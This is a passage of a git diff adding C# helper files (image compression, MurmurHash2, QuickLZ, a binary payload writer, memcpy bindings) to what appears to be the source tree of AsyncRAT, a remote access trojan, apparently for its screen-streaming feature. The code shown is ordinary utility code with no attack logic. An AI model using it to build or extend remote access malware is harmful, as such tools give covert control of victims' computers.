|
}
|
||||||
|
case PixelFormat.Format8bppIndexed:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case PixelFormat.Format4bppIndexed:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case PixelFormat.Format1bppIndexed:
|
||||||
|
{
|
||||||
|
if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
|
||||||
|
break;
|
||||||
|
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
{
|
||||||
|
throw new NotSupportedException(format + " is not supported.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return offsets.ToArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary> Get the byte points in 2D </summary>
|
||||||
|
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||||
|
/// <param name="endPoint">The end of the X, Y</param>
|
||||||
|
/// <param name="ImgSize">The size of the image</param>
|
||||||
|
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||||
|
public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
|
||||||
|
{
|
||||||
|
int Width = endPoint.X - beginPoint.X;
|
||||||
|
int Height = endPoint.Y - beginPoint.Y;
|
||||||
|
|
||||||
|
float Wsize = ((float)Width / (float)SlicePieces);
|
||||||
|
float Hsize = ((float)Height / (float)SlicePieces);
|
||||||
|
|
||||||
|
//+1 just to make sure we are not going outside the array
|
||||||
|
if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
|
||||||
|
if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
|
||||||
|
|
||||||
|
ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
|
||||||
|
Point tmp = new Point(0, 0);
|
||||||
|
for (int y = beginPoint.Y; y < Height; y += SlicePieces)
|
||||||
|
{
|
||||||
|
for (int x = beginPoint.X; x < Width; x += SlicePieces)
|
||||||
|
{
|
||||||
|
ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
|
||||||
|
tmp.X++;
|
||||||
|
}
|
||||||
|
tmp.X = 0;
|
||||||
|
tmp.Y++;
|
||||||
|
}
|
||||||
|
return ImageArrayOffsets;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public class ArrayOffset
|
||||||
|
{
|
||||||
|
public int BeginOffset { get; private set; }
|
||||||
|
public int EndOffset { get; private set; }
|
||||||
|
public int Stride { get; private set; }
|
||||||
|
public int X { get; private set; }
|
||||||
|
public int Y { get; private set; }
|
||||||
|
public int Width { get; private set; }
|
||||||
|
public int Height { get; private set; }
|
||||||
|
|
||||||
|
public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
|
||||||
|
{
|
||||||
|
this.BeginOffset = begin;
|
||||||
|
this.EndOffset = end;
|
||||||
|
this.Stride = Stride;
|
||||||
|
this.X = x;
|
||||||
|
this.Y = y;
|
||||||
|
this.Width = width;
|
||||||
|
this.Height = height;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,52 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public class JpgCompression
|
||||||
|
{
|
||||||
|
private EncoderParameter parameter;
|
||||||
|
private ImageCodecInfo encoderInfo;
|
||||||
|
private EncoderParameters encoderParams;
|
||||||
|
|
||||||
|
public JpgCompression(int Quality)
|
||||||
|
{
|
||||||
|
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||||
|
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||||
|
this.encoderParams = new EncoderParameters(2);
|
||||||
|
this.encoderParams.Param[0] = parameter;
|
||||||
|
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)2);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] Compress(Bitmap bmp)
|
||||||
|
{
|
||||||
|
using (MemoryStream stream = new MemoryStream())
|
||||||
|
{
|
||||||
|
bmp.Save(stream, encoderInfo, encoderParams);
|
||||||
|
return stream.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Compress(Bitmap bmp, ref Stream TargetStream)
|
||||||
|
{
|
||||||
|
bmp.Save(TargetStream, encoderInfo, encoderParams);
|
||||||
|
}
|
||||||
|
|
||||||
|
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||||
|
{
|
||||||
|
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||||
|
int num2 = imageEncoders.Length - 1;
|
||||||
|
for (int i = 0; i <= num2; i++)
|
||||||
|
{
|
||||||
|
if (imageEncoders[i].MimeType == mimeType)
|
||||||
|
{
|
||||||
|
return imageEncoders[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,55 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public class LzwCompression
|
||||||
|
{
|
||||||
|
private EncoderParameter parameter;
|
||||||
|
private ImageCodecInfo encoderInfo;
|
||||||
|
private EncoderParameters encoderParams;
|
||||||
|
|
||||||
|
public LzwCompression(int Quality)
|
||||||
|
{
|
||||||
|
this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
|
||||||
|
this.encoderInfo = GetEncoderInfo("image/jpeg");
|
||||||
|
this.encoderParams = new EncoderParameters(2);
|
||||||
|
this.encoderParams.Param[0] = parameter;
|
||||||
|
this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
|
||||||
|
{
|
||||||
|
using (MemoryStream stream = new MemoryStream())
|
||||||
|
{
|
||||||
|
if (AdditionInfo != null)
|
||||||
|
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||||
|
bmp.Save(stream, encoderInfo, encoderParams);
|
||||||
|
return stream.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
|
||||||
|
{
|
||||||
|
if (AdditionInfo != null)
|
||||||
|
stream.Write(AdditionInfo, 0, AdditionInfo.Length);
|
||||||
|
bmp.Save(stream, encoderInfo, encoderParams);
|
||||||
|
}
|
||||||
|
|
||||||
|
private ImageCodecInfo GetEncoderInfo(string mimeType)
|
||||||
|
{
|
||||||
|
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||||
|
for (int i = 0; i < imageEncoders.Length; i++)
|
||||||
|
{
|
||||||
|
if (imageEncoders[i].MimeType == mimeType)
|
||||||
|
{
|
||||||
|
return imageEncoders[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,62 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public unsafe class MurmurHash2Unsafe
|
||||||
|
{
|
||||||
|
const UInt32 m = 0x5bd1e995;
|
||||||
|
const Int32 r = 24;
|
||||||
|
|
||||||
|
public unsafe UInt32 Hash(Byte* data, int length)
|
||||||
|
{
|
||||||
|
if (length == 0)
|
||||||
|
return 0;
|
||||||
|
UInt32 h = 0xc58f1a7b ^ (UInt32)length;
|
||||||
|
Int32 remainingBytes = length & 3; // mod 4
|
||||||
|
Int32 numberOfLoops = length >> 2; // div 4
|
||||||
|
UInt32* realData = (UInt32*)data;
|
||||||
|
while (numberOfLoops != 0)
|
||||||
|
{
|
||||||
|
UInt32 k = *realData;
|
||||||
|
k *= m;
|
||||||
|
k ^= k >> r;
|
||||||
|
k *= m;
|
||||||
|
|
||||||
|
h *= m;
|
||||||
|
h ^= k;
|
||||||
|
numberOfLoops--;
|
||||||
|
realData++;
|
||||||
|
}
|
||||||
|
switch (remainingBytes)
|
||||||
|
{
|
||||||
|
case 3:
|
||||||
|
h ^= (UInt16)(*realData);
|
||||||
|
h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
|
||||||
|
h *= m;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
h ^= (UInt16)(*realData);
|
||||||
|
h *= m;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
h ^= *((Byte*)realData);
|
||||||
|
h *= m;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Do a few final mixes of the hash to ensure the last few
|
||||||
|
// bytes are well-incorporated.
|
||||||
|
|
||||||
|
h ^= h >> 13;
|
||||||
|
h *= m;
|
||||||
|
h ^= h >> 15;
|
||||||
|
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,22 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public class NativeMethods
|
||||||
|
{
|
||||||
|
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||||
|
public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
|
||||||
|
|
||||||
|
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||||
|
public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
|
||||||
|
|
||||||
|
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||||
|
public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
|
||||||
|
|
||||||
|
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
|
||||||
|
public static extern unsafe int memcpy(void* dst, void* src, uint count);
|
||||||
|
}
|
||||||
|
}
|
||||||
113
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs
Normal file
113
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/PayloadWriter.cs
Normal file
@ -0,0 +1,113 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
public class PayloadWriter : IDisposable
|
||||||
|
{
|
||||||
|
public Stream vStream { get; set; }
|
||||||
|
public PayloadWriter()
|
||||||
|
{
|
||||||
|
vStream = new MemoryStream();
|
||||||
|
}
|
||||||
|
public PayloadWriter(Stream stream)
|
||||||
|
{
|
||||||
|
vStream = stream;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteBytes(byte[] value)
|
||||||
|
{
|
||||||
|
vStream.Write(value, 0, value.Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteBytes(byte[] value, int Offset, int Length)
|
||||||
|
{
|
||||||
|
vStream.Write(value, Offset, Length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteInteger(int value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A integer with 3 bytes not 4
|
||||||
|
/// </summary>
|
||||||
|
public void WriteThreeByteInteger(int value)
|
||||||
|
{
|
||||||
|
WriteByte((byte)value);
|
||||||
|
WriteByte((byte)(value >> 8));
|
||||||
|
WriteByte((byte)(value >> 16));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteUInteger(uint value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteShort(short value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteUShort(ushort value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteULong(ulong value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteByte(byte value)
|
||||||
|
{
|
||||||
|
vStream.WriteByte(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteBool(bool value)
|
||||||
|
{
|
||||||
|
WriteByte(value ? (byte)1 : (byte)0);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteDouble(double value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteLong(long value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteFloat(float value)
|
||||||
|
{
|
||||||
|
WriteBytes(BitConverter.GetBytes(value));
|
||||||
|
}
|
||||||
|
public void WriteDecimal(decimal value)
|
||||||
|
{
|
||||||
|
BinaryWriter writer = new BinaryWriter(vStream);
|
||||||
|
writer.Write(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void WriteString(string value)
|
||||||
|
{
|
||||||
|
if (!(value == null))
|
||||||
|
WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
|
||||||
|
else
|
||||||
|
throw new NullReferenceException("value");
|
||||||
|
vStream.WriteByte(0);
|
||||||
|
vStream.WriteByte(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
public int Length
|
||||||
|
{
|
||||||
|
get { return (int)vStream.Length; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
vStream.Close();
|
||||||
|
vStream.Dispose();
|
||||||
|
vStream = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,58 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// A helper class for pointers
|
||||||
|
/// </summary>
|
||||||
|
public class PointerHelper
|
||||||
|
{
|
||||||
|
private int _offset;
|
||||||
|
|
||||||
|
public IntPtr Pointer
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
private set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int TotalLength { get; private set; }
|
||||||
|
|
||||||
|
public int Offset
|
||||||
|
{
|
||||||
|
get { return _offset; }
|
||||||
|
set
|
||||||
|
{
|
||||||
|
if (value < 0)
|
||||||
|
throw new Exception("Offset must be >= 1");
|
||||||
|
|
||||||
|
if (value >= TotalLength)
|
||||||
|
throw new Exception("Offset cannot go outside of the reserved buffer space");
|
||||||
|
|
||||||
|
_offset = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public PointerHelper(IntPtr pointer, int Length)
|
||||||
|
{
|
||||||
|
this.TotalLength = Length;
|
||||||
|
this.Pointer = pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copies data from Source to the current Pointer Offset
|
||||||
|
/// </summary>
|
||||||
|
public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
|
||||||
|
{
|
||||||
|
if (CheckBoundries(this.Offset, SourceLength))
|
||||||
|
throw new AccessViolationException("Cannot write outside of the buffer space");
|
||||||
|
NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool CheckBoundries(int offset, int length)
|
||||||
|
{
|
||||||
|
return offset + length > TotalLength;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
487
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs
Normal file
487
AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/SafeQuickLZ.cs
Normal file
@ -0,0 +1,487 @@
|
|||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.src
|
||||||
|
{
|
||||||
|
// QuickLZ data compression library
|
||||||
|
// Copyright (C) 2006-2011 Lasse Mikkel Reinhold
|
||||||
|
// lar@quicklz.com
|
||||||
|
//
|
||||||
|
// QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
|
||||||
|
// released into public must be open source) or under a commercial license if such
|
||||||
|
// has been acquired (see http://www.quicklz.com/order.html). The commercial license
|
||||||
|
// does not cover derived or ported versions created by third parties under GPL.
|
||||||
|
//
|
||||||
|
// Only a subset of the C library has been ported, namely level 1 and 3 not in
|
||||||
|
// streaming mode.
|
||||||
|
//
|
||||||
|
// Version: 1.5.0 final
|
||||||
|
|
||||||
|
public class SafeQuickLZ
|
||||||
|
{
|
||||||
|
public const int QLZ_VERSION_MAJOR = 1;
|
||||||
|
public const int QLZ_VERSION_MINOR = 5;
|
||||||
|
public const int QLZ_VERSION_REVISION = 0;
|
||||||
|
|
||||||
|
// Streaming mode not supported
|
||||||
|
public const int QLZ_STREAMING_BUFFER = 0;
|
||||||
|
|
||||||
|
// Bounds checking not supported Use try...catch instead
|
||||||
|
public const int QLZ_MEMORY_SAFE = 0;
|
||||||
|
|
||||||
|
// Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
|
||||||
|
private const int HASH_VALUES = 4096;
|
||||||
|
private const int MINOFFSET = 2;
|
||||||
|
private const int UNCONDITIONAL_MATCHLEN = 6;
|
||||||
|
private const int UNCOMPRESSED_END = 4;
|
||||||
|
private const int CWORD_LEN = 4;
|
||||||
|
private const int DEFAULT_HEADERLEN = 9;
|
||||||
|
private const int QLZ_POINTERS_1 = 1;
|
||||||
|
private const int QLZ_POINTERS_3 = 16;
|
||||||
|
|
||||||
|
private int headerLen(byte[] source, int offset)
|
||||||
|
{
|
||||||
|
return ((source[offset] & 2) == 2) ? 9 : 3;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int sizeDecompressed(byte[] source, int offset)
|
||||||
|
{
|
||||||
|
if (headerLen(source, offset) == 9)
|
||||||
|
return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
|
||||||
|
else
|
||||||
|
return source[offset + 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
public int sizeCompressed(byte[] source, int offset)
|
||||||
|
{
|
||||||
|
if (headerLen(source, offset) == 9)
|
||||||
|
return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
|
||||||
|
else
|
||||||
|
return source[offset + 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
|
||||||
|
{
|
||||||
|
dst[0] = (byte)(2 | (compressible ? 1 : 0));
|
||||||
|
dst[0] |= (byte)(level << 2);
|
||||||
|
dst[0] |= (1 << 6);
|
||||||
|
dst[0] |= (0 << 4);
|
||||||
|
fast_write(dst, 1, size_decompressed, 4);
|
||||||
|
fast_write(dst, 5, size_compressed, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] compress(byte[] source, int Offset, int Length, int level)
|
||||||
|
{
|
||||||
|
int src = Offset;
|
||||||
|
int dst = DEFAULT_HEADERLEN + CWORD_LEN;
|
||||||
|
uint cword_val = 0x80000000;
|
||||||
|
int cword_ptr = DEFAULT_HEADERLEN;
|
||||||
|
byte[] destination = new byte[Length + 400];
|
||||||
|
int[,] hashtable;
|
||||||
|
int[] cachetable = new int[HASH_VALUES];
|
||||||
|
byte[] hash_counter = new byte[HASH_VALUES];
|
||||||
|
byte[] d2;
|
||||||
|
int fetch = 0;
|
||||||
|
int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
|
||||||
|
int lits = 0;
|
||||||
|
|
||||||
|
if (level != 1 && level != 3)
|
||||||
|
throw new ArgumentException("C# version only supports level 1 and 3");
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
|
||||||
|
else
|
||||||
|
hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
|
||||||
|
|
||||||
|
if (Length == 0)
|
||||||
|
return new byte[0];
|
||||||
|
|
||||||
|
if (src <= last_matchstart)
|
||||||
|
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||||
|
|
||||||
|
while (src <= last_matchstart)
|
||||||
|
{
|
||||||
|
if ((cword_val & 1) == 1)
|
||||||
|
{
|
||||||
|
if (src > Length >> 1 && dst > src - (src >> 5))
|
||||||
|
{
|
||||||
|
d2 = new byte[Length + DEFAULT_HEADERLEN];
|
||||||
|
write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
|
||||||
|
System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
|
||||||
|
return d2;
|
||||||
|
}
|
||||||
|
|
||||||
|
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||||
|
cword_ptr = dst;
|
||||||
|
dst += CWORD_LEN;
|
||||||
|
cword_val = 0x80000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (level == 1)
|
||||||
|
{
|
||||||
|
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||||
|
int o = hashtable[hash, 0];
|
||||||
|
int cache = cachetable[hash] ^ fetch;
|
||||||
|
cachetable[hash] = fetch;
|
||||||
|
hashtable[hash, 0] = src;
|
||||||
|
|
||||||
|
if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
|
||||||
|
source[src] == source[src - 2] && source[src] == source[src - 1] &&
|
||||||
|
source[src] == source[src + 1] && source[src] == source[src + 2])))
|
||||||
|
{
|
||||||
|
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||||
|
if (source[o + 3] != source[src + 3])
|
||||||
|
{
|
||||||
|
int f = 3 - 2 | (hash << 4);
|
||||||
|
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||||
|
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||||
|
src += 3;
|
||||||
|
dst += 2;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
int old_src = src;
|
||||||
|
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||||
|
|
||||||
|
src += 4;
|
||||||
|
if (source[o + src - old_src] == source[src])
|
||||||
|
{
|
||||||
|
src++;
|
||||||
|
if (source[o + src - old_src] == source[src])
|
||||||
|
{
|
||||||
|
src++;
|
||||||
|
while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
|
||||||
|
src++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int matchlen = src - old_src;
|
||||||
|
|
||||||
|
hash <<= 4;
|
||||||
|
if (matchlen < 18)
|
||||||
|
{
|
||||||
|
int f = (hash | (matchlen - 2));
|
||||||
|
destination[dst + 0] = (byte)(f >> 0 * 8);
|
||||||
|
destination[dst + 1] = (byte)(f >> 1 * 8);
|
||||||
|
dst += 2;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, hash | (matchlen << 16), 3);
|
||||||
|
dst += 3;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||||
|
lits = 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
lits++;
|
||||||
|
hash_counter[hash] = 1;
|
||||||
|
destination[dst] = source[src];
|
||||||
|
cword_val = (cword_val >> 1);
|
||||||
|
src++;
|
||||||
|
dst++;
|
||||||
|
fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
|
||||||
|
|
||||||
|
int o, offset2;
|
||||||
|
int matchlen, k, m, best_k = 0;
|
||||||
|
byte c;
|
||||||
|
int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
|
||||||
|
int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||||
|
|
||||||
|
c = hash_counter[hash];
|
||||||
|
matchlen = 0;
|
||||||
|
offset2 = 0;
|
||||||
|
for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
|
||||||
|
{
|
||||||
|
o = hashtable[hash, k];
|
||||||
|
if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
|
||||||
|
{
|
||||||
|
m = 3;
|
||||||
|
while (source[o + m] == source[src + m] && m < remaining)
|
||||||
|
m++;
|
||||||
|
if ((m > matchlen) || (m == matchlen && o > offset2))
|
||||||
|
{
|
||||||
|
offset2 = o;
|
||||||
|
matchlen = m;
|
||||||
|
best_k = k;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
o = offset2;
|
||||||
|
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
|
||||||
|
c++;
|
||||||
|
hash_counter[hash] = c;
|
||||||
|
|
||||||
|
if (matchlen >= 3 && src - o < 131071)
|
||||||
|
{
|
||||||
|
int offset = src - o;
|
||||||
|
|
||||||
|
for (int u = 1; u < matchlen; u++)
|
||||||
|
{
|
||||||
|
fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
|
||||||
|
hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
|
||||||
|
c = hash_counter[hash]++;
|
||||||
|
hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
|
||||||
|
}
|
||||||
|
|
||||||
|
src += matchlen;
|
||||||
|
cword_val = ((cword_val >> 1) | 0x80000000);
|
||||||
|
|
||||||
|
if (matchlen == 3 && offset <= 63)
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, offset << 2, 1);
|
||||||
|
dst++;
|
||||||
|
}
|
||||||
|
else if (matchlen == 3 && offset <= 16383)
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, (offset << 2) | 1, 2);
|
||||||
|
dst += 2;
|
||||||
|
}
|
||||||
|
else if (matchlen <= 18 && offset <= 1023)
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
|
||||||
|
dst += 2;
|
||||||
|
}
|
||||||
|
else if (matchlen <= 33)
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
|
||||||
|
dst += 3;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
|
||||||
|
dst += 4;
|
||||||
|
}
|
||||||
|
lits = 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
destination[dst] = source[src];
|
||||||
|
cword_val = (cword_val >> 1);
|
||||||
|
src++;
|
||||||
|
dst++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
while (src <= Length - 1)
|
||||||
|
{
|
||||||
|
if ((cword_val & 1) == 1)
|
||||||
|
{
|
||||||
|
fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
|
||||||
|
cword_ptr = dst;
|
||||||
|
dst += CWORD_LEN;
|
||||||
|
cword_val = 0x80000000;
|
||||||
|
}
|
||||||
|
|
||||||
|
destination[dst] = source[src];
|
||||||
|
src++;
|
||||||
|
dst++;
|
||||||
|
cword_val = (cword_val >> 1);
|
||||||
|
}
|
||||||
|
while ((cword_val & 1) != 1)
|
||||||
|
{
|
||||||
|
cword_val = (cword_val >> 1);
|
